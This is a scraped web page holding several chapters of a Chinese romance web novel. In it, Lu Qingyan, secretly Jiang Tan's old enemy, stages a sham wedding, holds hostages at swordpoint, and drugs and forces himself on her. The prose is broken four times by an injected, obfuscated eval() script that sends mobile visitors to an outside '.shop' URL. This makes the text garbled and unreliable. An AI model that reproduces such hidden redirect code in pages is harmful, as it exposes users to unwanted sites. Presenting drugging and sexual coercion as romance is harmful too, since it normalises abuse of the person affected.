姜昙下意识看了看周遭,边走边说着:“人说小儿容易惊厥,你难道年岁还小吗?更何况你又没做亏心事,子不语怪力乱神,你读的圣贤书里没有这句吗?” 陆青檐恍然点头:“原来是这个意思,受教了。” 他还是更惦记周记酒楼:“那你什么时候请我去?” 姜昙:“你怎么知道这里有周记酒楼,以前来过吴江?” “方才听人说的……别岔话题,去是不去?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14151020|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……你不头疼了吧?” “先说好,花你自己的银子。” “……吴江渡口还有船,一日内就能到扬州,五日内可达京城。” “好,你答应了。” 姜昙装作没听见,快步离开。 . 陆家的公子哥每到一个新地方,就惦记着吃喝玩乐。 陆青檐一心要去周记酒楼,拦都拦不住。姜昙半途想跑,被他结结实实地捉住了袖子。 他在她耳边磨了磨牙:“我身上一个子儿都没有,你可想好了。若是我吃了霸王餐被捉住,就报你的名号。若不幸被打一顿,我就去县衙告你一状,说你拐卖扬州世家子欺骗其感情后将之抛弃,还有你的亲笔信为证……” 真是好手段。 姜昙佩服得五体投地。 陆青檐大摇大摆地进了大门,姜昙跟在身后磨磨蹭蹭,像个少爷身边伺候的婢女。 婢女不愿意进去,少爷还要扭头拉扯其衣袖,将其半拖进去。 小二生平也是少见这情形,愣是对着张牙舞爪的两人保持住了一张笑脸:“两位客官,里面请。” 正说着,外面一个臭烘烘的乞丐对着姜昙撞了过来。 姜昙躲闪不及,幸好陆青檐架着她的胳膊直接将她整个人提起来,换了个位置。 两个门房连忙过来,拖着那乞丐生拉硬拽,小二赔笑说:“客官恕罪,这乞丐得了疯病,经常乱跑乱撞,好在没坏心。小的代他向二位赔罪。” 姜昙自然不计较。 然而她听到陆青檐气息不稳,似乎生气了。 于是说没事,让小二带着他们往楼上走。 小二苦笑着讲起这乞丐:“过去也是有钱员外家的公子,可三年前运道不好,他家的海船叫浪给掀翻了,几大船的宝石玛瑙都沉下去,他爹也在那条船上,连性命都丢了。没多久这生意越来越差,后来就成了这个样子。” 楼下那乞丐动静闹得极大,又吵又闹连两个门房几乎都压不住他,楼上楼下的都来探头看他。 三年前? 吴江有名的富户,姜昙还有点印象,她问:“他姓什么?” “姓张,单名一个泰字。” 小二记得很清楚,张泰某一年生日,张员外摆了三天三夜的流水席,他就记住了这个名字。 “哎,原本也是吴江的小善人,施粥修路都跟谁较劲一样,我们这一带都受过他的好处,也不忍驱赶他,只是有时舍他一口剩饭。” 世事无常,姜昙闻言也不胜唏嘘。 陆青檐还站在楼梯上,扭头看挣扎着被带走的乞丐。 姜昙叫他:“长公子。” 周记酒楼的菜肴上了一大桌。 姜昙边看边心疼银子,决心走时要将未必完的饭菜打包,这便是陆青檐今晚的晚饭! 陆青檐甚为享受地吃着,还殷勤地要为她布菜添茶。 姜昙懒得搭理他。 紫珠是第二次来吴江,对窗外的街景更好奇。看着看着,她忽然指着人群中一个身影:“姑娘,快看!” 姜昙循声看去,瞳孔一缩。 连话也来不及说,将门甩开,匆匆下去追人。 紫珠也要去追,陆青檐挡在她面前,面上无一丝方才的轻快笑意,看起来有些吓人。 “她在找谁?” 紫珠不敢不说:“是吴江的故人,叫……杨修文。” 60. 第 60 章 这一日回去后,姜昙再没见过陆青檐。 他们在一家客栈落脚,问过客栈的掌柜,说是一早见他收拾了包袱出去,只是不知去做什么。 “走了也好。” 姜昙默默地想,可不知为何,她的心口竟有些发闷。 ——我答应你。但我也有要求,你永远不得离开我身边。 ——应了我,明日就成亲。 那一日对于陆青檐的问题,姜昙并没有给出答案。 这个问题太沉重,连同答案也是沉甸甸的,好与不好,就算仔细想清楚,姜昙也说不出口。 又或者,她根本想不清楚。 姜昙曾设想过陆青檐只是外出办事。 然而从卯时到申时,他一直没有回来,她方才确定,他是真的走了。 吴江的船很快,若是他回扬州,现在恐怕已到了扬州陆府。若是他回京城,如今应该在驿站休息,明天的这个时候,他就能到达国公府。 走了也好。 如今陆青檐先行离去,率先回答了这个难题,她夜里应该不至于再翻来覆去,终于能睡个好觉了。 . 姜昙独自去了一趟衙门。 衙门里灯是黑的,看来新上任的吴江知县不似上一任勤奋,夜夜秉烛。又或许是住不惯潮湿的衙门,另外买了宅子开府。 姜昙沿着河堤慢慢地走着。 这一条河连着向东的江水,水面看似平静,水下却激流涌动。 若是碰上下雨天水浪翻打,河底的石头都能被水流推着,一路翻滚到江中去。 姜昙当初就是这么离开的。 几颗石头,几捆稻草,做成一个人的形状丢下去。 路过的人看见,以为有人投河自尽,立刻就报到官府去。 一条命便这么没了。 姜昙又拐道去了梅花巷子。 梅花巷子破败不堪,比姜昙在时还荒芜。巷子里几户人家门前稀疏地挂着灯笼,看起来很是冷清。 姜昙走到最里面她曾住过的地方,意外的是,新住户精心打理了这间小院。 院墙仔细修缮过,甚至可能耗费很大的力气重新建了一次,一砖一瓦都透露着精致讲究。 一点都看不出她曾经居住过的模样。 吴江没有地方属于她,自己也该离开了。 寂静声中,一个声音叫破她:“姜昙?你……你是姜昙?” 那人原本是开门泼水,看到姜昙后不可置信,走近打量她,探究的神情逐渐变得确定:“你是姜昙!你就是姜昙!” 姜昙来不及捂脸的袖子尴尬地放下来:“你认错人了。” 她已认出这人是谁。 当初爱吃豆饼的邻居卢文进现在竟还住在这里,属实让她意外。 卢文进的神色又变得不确定起来。 门上有灯笼,隐约照得清人脸。借着灯光细看,又不像姜昙了。 他以前认识的姜昙是个男人,虽因吃不饱饭而身形瘦弱,但看起来却比肥胖的自己更有力量。 往那一站,就能拦住脱缰的疯马。 眼前这位分明是个姑娘,和姜昙乍一看很像,可看的久了,初见的熟悉感荡然无存。 “对不住,对不住。” 发觉认错了人,卢文进比姜昙更局促,连声说着对不住,一边往门里躲。 还是跟以前一样。 姜昙心里暗笑,面上却得体:“公子留步,听闻这里有卖豆饼的老铺子,家中兄长爱吃,托我来买一些。请问是你家吗?” 卢文进衣衫陈旧,眉宇间透露着为生计奔波的憔悴,眼神只在初见她时露出了一点光,随后便如一潭死水。 然而卢文进闻言,面色却更加灰败:“你是听街头那些老人说的吧?他们记性不好,只记得以前的事。我爹腿断后卧病不起,不久就仙逝了,我娘也随他去了。二老的手艺小子无力继承,是故三年前开始,我家就不卖豆饼了。” 原本姜昙不清楚这几年他发生了什么,却想着待会儿借卖豆饼,多塞给他一些银子,也算尽绵薄之力。 不想勾起了他的伤心事。 “抱歉……” 不等她说完,卢文进关上了门。 姜昙心情失落离去,在她转身之际,身后的门掀开一道缝隙。 卢文进探头出来:“姑娘你姓什么?” “姜。” 卢文进眼睛微亮:“那你认不认识一个姓姜的书生,他叫阿昙。” 姜昙微怔,摇头。 卢文进脸上的神采肉眼可见地散去。 再次关门前他为姜昙指路:“梅花巷子出去,往左走有一家卖豆饼的铺子。他们睡得晚,眼下或许还开着。” 姜昙点头,却并没有找那家铺子,而是沿着桥面返回。 桥下无人,桥上却有人。 姜昙一瞬间心跳到了嗓子眼,却说不出话来,脚下的步子越迈越快,在距他五步的地方停止。 “陆青檐,你怎么又回来了?” 陆青檐手上握着弓箭,正在射河面上漂浮的灯笼,一张脸冷得厉害:“我还要问你,谁说我走了?” 松手,一箭重重射出。 可惜雷声大雨点小,连河灯的边角都没有触碰到。 陆青檐气得将弓箭扔在桥边: “你方才去哪了?到处找你不见人!你莫非又见了谁,要和他一起走,连你的婢女也不要了?” 又在拈酸吃醋。 姜昙无奈将弓箭捡起来,对着河灯试了试,说:“我只是去县衙附近转了转……” 她并不打算提卢文进:“没见什么人。” “嗖”地一箭,一盏河灯灭了。 姜昙将弓箭放回陆青檐手中:“我以为你走了。” “想都别想!” 陆青檐美丽的面容露出恶狠狠的表情。随后又举起了弓,一副虚心请教的模样:“你刚才怎么做到的?” 他前后变脸可真快。 姜昙忍不住笑出声,陆青檐有些恼:“笑什么?” 姜昙压住唇角的笑意,往上走了一步,这个高度勉强够得上陆青檐的视线。 “过来。” 陆青檐如言过去,被姜昙圈进了怀里。 温软的怀抱向上泛着暖香,陆青檐一瞬间绷紧了身体,他缓缓转过头去,形成一个与姜昙相依偎的姿势。 姜昙伸手把他的脑袋拨了回去:“看箭靶。” 原来她在教他射箭。 陆青檐双手僵硬地被拨弄着。 姜昙手掌包不住他的,却能很精准地控制好力度与方向,弓箭和他都很听话。 手背被拍了拍:“放。” “嗖”地一声,像她方才一样,又灭了一盏河灯。 心跳声震天响,他藏也藏不住。 幸好姜昙没有发现,而是回忆起了眼前的景象:“这地方很眼熟,我好像在那里比过射箭。” 姜昙指的地方是一处酒肆,那里曾经是一家武馆。 “那你赢了吗?” “当然。就算十发九中,他们也都比不过我。” 她仿佛又回到三年前比箭的湖上武馆,置身于一片喝彩声中,唇角是压不住的轻快笑意。 陆青檐吻了上去。 他的双手被姜昙握着没有挣开,亲吻时闭上眼睛,似乎不管后果如何,都任凭处置。 与其说是逼吻,不如说是求吻。 姜昙实在对这一脸毫无防备的神色没有办法,推了推他:“你……” 陆青檐任由她推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182702|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,认真看了她一会儿,反手握住她的手:“跟我来。” 他牵着她快速下桥去。 沿着尚有光亮的巷子拐来拐去,姜昙只能听到两人急促的呼吸声和脚步声,不知拐到了哪处连她也不知道的地方,终于停下来。 “上来。” 陆青檐翻身上了院墙,对她伸出手。 这一看就是一处荒废了的宅子。 姜昙神色犹豫:“按大昭律法,私闯百姓家宅,处——” 陆青檐跳下来,不容多说将她放在肩上站起来,推上了高高的院墙。随后自己爬上去,再跳进了宅子里。 “下来。” 陆青檐站在院墙里敞开手。 姜昙眼神游移,寻着能落脚的地方,下面是一条石子路,若不慎摔倒一定硌得浑身疼。 正这么想着,陆青檐伸手捉着她的手,将她拽了下来。 两人在地上滚了好几滚。 姜昙头上的簪子掉了一地,发髻也松松垮垮。 陆青檐看到她的惨样,放声大笑起来。 姜昙没好气地抓了一把地上的东西,丢在他的脸上。 她撑着地面想起来,陆青檐却再次捉住她的手,姜昙失力摔在他身上。 陆青檐抱着她又滚了一次,两人换了位置,姜昙以为他又要闹,伸手推他,却被轻轻地握住。 “姜昙,你看这是什么?” 姜昙这才发现身上是柔软的树叶,随着她的动作发出簌簌的响声,树叶状如小扇,原来是枫叶。 一地的枫叶。 头顶的树也是一棵巨大的枫树。 姜昙惊得说不出话来。 吴江并不是没有枫树,但枫树都在山上,县中人家中以为枫树影响气运与风水,所以并不多见。 “你怎么找到的?” 找了多久才能找到这么一棵?一定花了很长时间,原来他消失不见是在做这些。 陆青檐仰面倒在她身边,答非所问:“我决定不回京了。” 听懂他话中的意思,姜昙的心咚咚跳起来,她听到自己问:“那陆家怎么办?” 陆青檐寻到她的手指,一根一根地握在掌中:“陆家的人都厌恶我,巴不得我死在外面。就算不回去,也不会有人来找我。” 听不到她的动静,陆青檐蓦然起身压在她上方:“姜昙,我是你的了。” 他眼下又淌出泪来。 姜昙颤着手去擦,被他侧首一口咬住,先是有些重,随后变得轻。 察觉到温热的湿意那一刻,姜昙受惊般抽回手,瞪大眼睛看着他。 这一次陆青檐倾身下来,沿着她的侧脸亲过来,姜昙没有躲开。 他的神情虔诚得过分。 姜昙心软了一角,一个念头像生长的藤蔓短暂地探出来: 要不试试吧,万一……可以呢。 态度软化的那一刻,手掌也跟着送了,陆青檐感觉何其敏锐,瞬间就感觉到了。 他不敢反问,怕一问就让她躲了回去,于是更加用力地亲吻,用了十足的耐力厮磨她接纳自己。 他放慢了性子,哄着她伸手揽住他的脖颈,哄着她张嘴,哄着她放松身体,由着他勾着腿挂在臂上。 她忽然听到一阵响动。 “哪来的铃铛?” 陆青檐的腰上挂着他没送出去的香囊。 初学女工的年轻人总是不懂适宜的道理,在香囊上缝了一串银铃铛,花里胡哨地将“庸”字围起来。 放在身边就是为了能随时送给她,她问起来,陆青檐理所当然地系在她腰间。 “给你!” 他们一动,香囊上的银铃颤得厉害,听起来震耳欲聋。 姜昙几乎要跳起来:“我不是这个意思!” 61. 第 61 章 陆青檐脸上因酒意染上薄红。 饮下一杯酒,他斜眼淡淡看着眼前恶意灌酒之人—— 是吴江东街珠宝铺子的东家。 一边说着,一边将胳膊往自己肩上搭:“陆小兄弟,你可真是年轻有为啊!” 要不是还能用到他,一定想办法剁了他的手。 何况今日心情好,便暂时不与他计较。 陆青檐手指一动,亲自倒了一盏酒递给东家,那人笑眯眯地接过饮下,一头栽倒在桌子上。 他便招手让小厮来。 那小厮一脸不情愿,东家肥得一个人抵得上他两个,他哪里搬得动,更何况东家醉酒后尤爱折腾,他们这些做下人的难捱。 陆青檐掩唇给他出主意: “秋日阴冷,未免东家酒醒后染上风寒,回去最好紧闭门窗,屋子里点上红罗炭。你放心,我这酒后劲儿大,他一觉必定至天明才醒,你们离得远些,也好偷懒好生歇歇。” 这姓陆的公子比东家体贴下人,东家为难时还帮着自己说话。 小厮感念他的恩德,对他的话信服不已,连连点头。 走时还递了包着油纸的鲜花饼,权当贺喜。 陆青檐笑着收下,待小厮走后转身回后院,看也不看将它扔到花丛里。 不是谁都有资格吃他配的魑魅魍魉。 不过他今日委实心情好,就当喂了路边的狗。 前院是喧嚣的人声,后院卧房才是他的归处。 . 陆青檐心情轻快,脚步称得上雀跃,步履匆匆行至婚房门前,猛地一停。 他竟有些紧张。 檐下放着盛着锦鲤的鱼缸,陆青檐借着水面的倒影理了理衣襟,方推门而入。 婚房内只有姜昙一人坐着,她身边那个木讷的蠢丫头总算识趣了一回,不在跟前碍眼。 陆青檐反身关门,来到床边紧挨着姜昙坐下,他轻唤了一声:“阿昙。” 正要伸手掀起红盖头,忽然发现盖头下的人紧握双手,瑟瑟发颤。 “姜昙?” 眉目阴沉下来的一瞬间,陆青檐立刻就知道眼前的不是姜昙。 也几乎是同时,身后扑上来一个人,熟悉的香味随之撞入鼻腔。 这才是姜昙! 念头浮上心头的同时,颈间传来一股撕扯般的痛意。 陆青檐被迫仰头。 他看到床帐缺了一条,那是他亲手布置的,现下又被姜昙狠狠勒在他的脖颈上。 “紫珠,来帮我!” 手上的红绸滑得抓不住,姜昙迅速往手腕上又缠了一道,巨大的力道撕扯着她的手骨。 她快坚持不住了。 紫珠终于回过神来,连忙跑过来,险些摔了一跤。抬头时对上陆青檐因充血而发红的双眼,从后背瞬间窜上一股寒意。 紫珠连滚带爬地过来,用力抓住红绸的另一边。 姜昙总算能喘息片刻,却察觉到手中陆青檐挣扎的动静,再次拉紧了。 两人分作两股力,朝着截然相反的方向发出。 陆青檐眼前一阵阵发黑,姜昙是真的要杀了他。 好时机,真是好时机。 偏偏选在这个时候,真是妙,妙极了! 濒死之际,门猛然被推开。 “长公子!” 是刘武的声音。 陆青檐听到哧地一声,随着红绸撕裂的声音,他重重摔在地上。 眼前的景象忽明忽暗,他看不清姜昙的脸色,也知道她此刻望过来的眼神是遗憾而愤恨的。 陆青檐跌跌撞撞站起来,挥退刘武来搀扶的手。 刘武不是一个人来的,他带来了许多护卫,将紫珠绑了起来,不敢处置姜昙,便用剑指着她。 若是此刻他已死,群龙无首护卫无令可循,或许能让姜昙想到办法逃出去。 可惜他还活着。 眼中姜昙的影子在晃,陆青檐好不容易来到她面前,握着她的肩膀逐渐用力,面容抑制不住地扭曲。 他几乎用了十分的力气,才忍住掐死她的冲动。 陆青檐一字一句问:“姜昙,为什么这么对我?” 姜昙面上有惧意,不甘,还有残忍的无情:“你自己知道,何必多此一举问我。” 并不是无迹可寻的。 从她踏入大门那一刻起,就从喧嚣的人声中认出了一些熟悉的声音,只是当时她并没有在意。 后来细想,何其明显。 陆青檐简直是把自己当傻子戏弄。 满堂宾客,角落里坐着与那些乞儿说话的杨修文,吴江昔日在任的捕快衙役,邻居书生卢文进…… 这里是梅花巷子。 高堂上奉着刘仲青的牌位,宾客里坐着吴江旧时,而当年被处死的死牢重犯,死而复生地变成了陆家长公子,要与她共赴白头。 姜昙讽刺地笑着:“宋少爷,费尽心思排一出戏,好笑吗?” 她总算认出他了。 陆青檐一扯唇角:“当然好笑。” 姜昙嘴角的笑意瞬时崩裂,微微睁大的眼眶中泛出水光,很快凝成断了线的珠子。 陆青檐从她的眼泪中感受到一种复仇的快意。 从重逢的那一刻起,他就无时无刻地希望她认出他来。 他无数次幻想过她可能的神情,震惊,不甘,恐惧,悔恨…… 无论是哪一种,都如滋养仇恨的养料,让他的快意放肆而狂妄地盛开着。 三年的时间,不能只是他在日日夜夜地妒恨着,她凭什么一切都不放在心上,还要欢欢喜喜地嫁人成亲。 他十分看不惯她那副置身事外的样子! 更不懂一个浑身上下都透露着粗俗二字的施茂林,怎么能得到她的偏爱? 凭什么! 凭什么!!! 她果然变蠢了,三年前他做少爷时,只需一个眼神她就能读懂他酝酿的坏意。 而三年后,他露出这么多的破绽,她竟现在才认出他来! 她早已把宋庸忘了。 . 姜昙身体轻轻地颤抖起来,整个人止不住发出啜泣。 过去他很多次想让她在自己面前跪下来,低头认错。 可等到姜昙真的跪下来,复仇的快意淡下去,陆青檐的心脏又变成了被揪紧的丝丝痛意。 他再次感受到濒死前的窒息。 “姜昙,姜昙……” 过去他曾无数次这般叫过她,从一开始的沉默,到后来她会回应自己。 如今又变成了最初的样子。 陆青檐急切地将她抱在怀里,渴望听到她的回应:“姜昙,我是真的喜欢你……” 他其实并不全是故意。 忍着愤怒将刘仲青的牌位放在上首,是因为姜昙喜欢。忍着恶心与那些乞儿说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192499|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,甚至低三下四跟老糊涂的杨修文解释,也是因为姜昙喜欢。 可是做这些讨她欢心的同时,他又忍不住留下破绽。 他期待姜昙能戳穿他,揪出陆青檐皮下恶贯满盈的宋庸。 他希望姜昙来爱陆青檐,更疯狂地希望撕破这层伪装后,姜昙一如既往地来爱宋庸。 陆青檐啰啰嗦嗦地把一切反复讲给姜昙听。 然而姜昙很快给了他一击。 她手中握着金钗,像之前晃月别庄刺中他的脖颈那样,像方才用红绸勒紧他的脖颈那样。 他将一颗心脏剖开来给姜昙看,而姜昙却满心想着杀了他。 方才解释时,她不动声色地拔下头上金钗,悄然从他怀中抬头寻找着下手之地。 他的真心,她不屑一顾。 . 关键之时,还是护卫们将姜昙反手制住胳膊,刘武向后将他拉开。 陆青檐想不通。 他不管不顾地扑上去,几乎要捏碎姜昙的下巴,语气却诡异地温柔:“姜昙听话,说你会生生世世爱宋庸,永远不离开他!” 毕生恩爱,生死不离,这是两人合笔写在婚书上的字句。 姜昙咬牙沉默。 陆青檐的脸色扭曲到狰狞:“姜昙,你耳朵聋了吗?” 姜昙依旧不为所动。 陆青檐连连冷笑,手上再也抑制不住力气,狠狠掐住姜昙的脖颈:“说话,否则我杀了你!说你爱我!永远不会离开我!说啊!” 可惜姜昙永远不会听话。 她的额头冒出汗来,分明难受得很,却死死地盯着他,像无数次梦里那样倔。 眼中愤怒,倔强……唯独没有一丝爱意。 陆青檐忽然撒开手,退后一步,缓缓而笑:“你还是那么聪明,知道如何惹我生气。来人!拖进来——” 房门外几个护卫走进来,手上拖着几人的衣领,他们皆被绑住双手,口中塞着布巾,眼上蒙着黑布。 说不出话来,也不看见人,只能惊恐地侧耳听着动静。 他们像人犯一样被对待着,齐齐地跪在地上。 姜昙轻易地就认出他们的身份:年迈的杨修文,旧日吴江的捕快与衙役,书生卢文进,还有一众瘦弱的乞儿。 陆青檐蓦然抽出刀来,刀尖曳地,在婚房新装的地面划出一道可怖的利痕。 紫珠被推得摔倒在地上,还未来得及起身,锋利的刀尖已经对准了她。 紫珠浑身僵硬,热热发抖,却梗着脖子一声不吭。 陆青檐指着紫珠:“是她给你传的信?谁给你递的消息,是他吗?” 刀尖移至卢文进胸口。 陆青檐思索片刻,点头确定:“是他。重游吴江,我们只在昨日分离了大半日,那日你就是去见他的。而且我去敬酒时,只有他在宴席间消失了片刻。原本我看在你的情面上并不打算计较,不想竟在我的眼皮子底下出了这档子事。” 姜昙不可置信:“你一直在监视我……” 陆青檐没有否认。 当年姜昙死后,他来吴江打捞尸体,曾到过几次梅花巷子的姜宅,被卢文进撞见过。 是他心善,并没有立刻杀了他。 现在想想,真是后悔。 他提刀搁在卢文进肩上,刀尖缓缓迫近卢文进颈间的血管:“方才的问题可能让你有些为难。我们换个问法,你跟不跟我回京?” 62. 第 62 章 “姑娘,快醒醒!” 姜昙是被剧烈晃醒的,睁眼时头晕眼花,紫珠焦急的面庞渐渐清晰。 屋里点的香有问题,早就被陆青檐换过了。 姜昙浑身无力。 “你怎么出来的?” 姜昙打量了一下所坐的地方,竟是一艘小船,一眼就看出紫珠的用意:“你要带我逃走?” 她想到了陆青檐的手段,心中发寒,下意识摇头:“我们逃不走的。” 紫珠握住姜昙冰凉的手,皱眉看着她:“姑娘什么时候变得这么没有斗志了,说的都是丧气话!以前鼓动奴婢状告我那夫婿的勇气都去哪了?” 姜昙说:“那哪能一样,你是被家里卖给他,你其实心里并不愿意。” “这也是一样的道理。” 紫珠说:“姑娘教我的,过不拢就离开。这陆公子看着是个凶悍的,官府拿他没办法。那咱们就自己想办法!” 姜昙委屈地落泪。 紫珠为她擦干眼泪,迅速说着自己的计划:“大船行得快,咱们小船沿反方向走,划到芦苇荡里躲着,等到天明再上岸。” 紫珠以为,陆青檐只是个高门大户的公子哥,厉害的只有身边那一群护卫,统共不过二三十人。 她打听过,这群护卫都是从京城出来的,不谙水性。 “我在船上听送饭的厨娘说,最近这一带闹水匪,姓陆的为了保命,一定不会出来冒险。这就是咱们逃跑的好时机!” 姜昙摇头。 从认出陆青檐的那一刻,她脑中反复回忆着两人相识的过程。 陆青檐早就认出了自己,所以是有备而来,从一开始,所有的一切都是伪装。 笑面是假,佛寺后山舍命相救也是假,和她成亲更是假。而他能伪装这么长的时间,足以证明他对自己的恨意,耐心与残忍。 他不是一个会害怕水匪之人,一定会在发现自己消失的同时,即刻寻找自己。 她浑身无力,根本跑不远,就算有力气,她和紫珠两人也跑不过三十个成年男子,迟早会被抓住。 所以不能跑。 姜昙细想之后说:“把船停芦苇荡里,然后我们下水候着,等他们走得够远。天明后沿着京城的方向游一段路再上岸。” 陆青檐以为她跑了,一定不会想到她会去京城。 “好!” 紫珠说着撑船:“听姑娘的。” 夜幕降临。 姜昙和紫珠藏在大船不远处,看着大船蓦然停下,船上多出许许多多凌乱的脚步声。 有人匆匆从头顶跑过去:“夫人不见了——” 随后是利剑出鞘的声音,惊慌的叫喊声停了下来。 一声尖利的哨子划破夜空,陆青檐身边那个叫刘武的护卫喊道:“肃静!” 船上动乱的时间比姜昙想象得还要短。 瞬息之间,陆青檐手下的人就反应了过来,并井然有序地下船寻人。 真是令人恐惧的反应速度。 大船下驶出几艘小船,上面站着陆家的护卫,姜昙和紫珠潜入水中,屏住呼吸。 一艘小船在芦苇荡附近发现踪迹,又是一声哨响,吸引所有的小船聚集过去。 一切如姜昙所料,不多时,小船上的护卫就匆匆上了岸。 按照之前的计划,两人要在芦苇荡中候着,天快亮时,再往前游一段上岸,往京城的方向走。 紫珠憋着气就要潜下去。 “不行。” 姜昙摇头:“计划有变,他手下的人速度太快了,很快就能搜到附近的镇上,我们等不到天明。” 尤其是那个叫刘武的,反应很迅速,看样子是护卫的头领,不仅武功高强而且训练有素。 他很快就能反应过来,她们两个弱女子跑不远,并因此折返搜寻。 “那……我们现在就上岸?” “无异于自投罗网。” 姜昙看了看亮着灯火的大船:“现在所有护卫都出去了,其余人因畏惧处罚在船头听训,船舱里是空的。我们可以扮成船工杂役,去下等船舱去躲着。” 紫珠点点头,搀着姜昙上船。 这个过程太冒险,稍不注意就会被人发现,所以她们的一举一动小心又小心,不发出一丝动静。 船上有垂下的绳索,姜昙攀至一半,忽然想起一个致命的问题: 陆青檐去哪了? 方才出来的那些小船上,并没有看到陆青檐的身影。 很快,姜昙就知道陆青檐在何处。快攀上船的那一刻,上方忽然递来一只手。 陆青檐一身红衣,静静地看着她:“回来了?” 她的下面就是紫珠,她大可以让紫珠逃走,可是紫珠逃得了吗? 陆青檐早知道她会回船上,早知道她会逃走,早知道在这里能等到她。 姜昙手上无力,抓空了绳索,陆青檐神色一变,两手捉住她的胳膊,硬生生将姜昙拉了上来。 船边有横生的木刺,划破了他的手臂,血淋淋地淌下来。 “姑娘——” 紫珠在后面叫她,姜昙想回头应她一声,却被陆青檐揽住肩膀带走。 转过拐角时,她依稀看到紫珠被两个仆妇按住绑起来。 姜昙从心底生出一股强烈的恨意,促使她甩开陆青檐的手:“你为什么总是阴魂不散!” 陆青檐平静的脸色阴沉下来,他用力抓住姜昙的手:“我就是阴魂不散!” 姜昙的手掌被他捏得生疼,陆青檐的速度越走越快,拉着她往先前的卧房去。 船上的仆妇在房内打扫,看见两人进来连忙退出去。 陆青檐将姜昙甩到床上,转身去桌前倒酒。 姜昙的脑袋陷入被衾,映入眼帘是一片刺目的红色。 她吓了一跳,从床上爬起来就往门口冲去,仆妇们还未退出去,将门口堵得严严实实。 姜昙推不开她们,换了个方向往窗口去。一只脚已经踏上窗户,腰上忽然多出一只手臂,死死将她往后拖。 下人看着两个主子拉扯,瞪着眼愣在那里。 “放开!放开!” 姜昙走投无路,朝仆妇们伸出手:“别关门,帮帮我!” 陆青檐斥道:“滚下去!” 仆妇们连滚带爬地关门出去,方才的窗户也严严实实地关好了。 密不透风的船舱,像是插翅难飞的囚笼,姜昙心内一片绝望。 这时,她看到手上指环,厌恶地拔下来狠狠丢出去,不知滚到哪去了。 陆青檐一愣,几乎要捏碎姜昙的下巴:“你扔了什么东西?” 姜昙的眼中怔怔流出泪来,面上一片倔强:“没什么东西,怪胎手上多余的第六指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14199592|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罢了。” 原本她不知道那是什么东西。 可若陆青檐是宋庸,那就好猜多了。宋庸自卑而敏感,最厌恶别人提他的十二指,却并不厌恶自己的十二指。 所以他多余指头一定是被别人去除了,却舍不得扔,做成指环当做宝贝一样地藏着。 怪胎的心思,好猜得很! 陆青檐怒极而笑。 忽然一扯姜昙,将她拖去桌子旁,一手揽住她的腰,一手去拿盛好的酒杯,递到姜昙唇边迫她喝。 姜昙打翻酒杯。 酒液飞溅出去,酒杯咕噜噜滚在地上,撞到墙面,咚的一声。 陆青檐咬牙切齿地笑:“今夜良辰吉时,既然阿昙不喜欢自己喝合卺酒,那我们就一起喝。” 卧房内燃了安神香,可让姜昙渐渐泄力。只需趁姜昙力竭的工夫,陆青檐按着她的肩膀,就能让她无法起身。 姜昙就这么被按在桌面上,双脚拼命扑腾,被陆青檐用力压住。 酒杯被姜昙打碎,可酒壶还在。 陆青檐伸手一捞,仰头喝了一口酒,低头尽数哺了过去。 姜昙被呛得不住咳嗽。 终于喘过气来,姜昙的身体变得沉重,脑袋也晕晕乎乎,胸腹中熊熊烧起了火。 她想起那股熟悉的感觉,终于想通关窍。 医书没有骗她,若是中了药,喝许多清水可解。故而没有能频繁发作十次的药,这也是陆青檐的谎话。 先前几次,甚至从第一次开始,都是他故意使坏。 “还记得我跟你说过的晃月香吗?” 陆青檐手上用力,一件一件剥开湿透了的红衣。 “这药妙得很,只对女子生效。不过别害怕阿昙,我也服了药,是你最厌恶的一晌贪欢。不过,我还从来没试过这样……” 趁兴行房。 红衣微敞,是晃眼细腻的白嫩肌肤。 姜昙伸手去拢,却拢不住。 陆青檐捏着她的手腕压在桌面,低头咬了一口,并不放开,缓缓蹭她:“今日你试试晃月香,我试试一晌贪欢。” 姜昙哭着颤抖:“你为什么不死?你怎么不去死?” 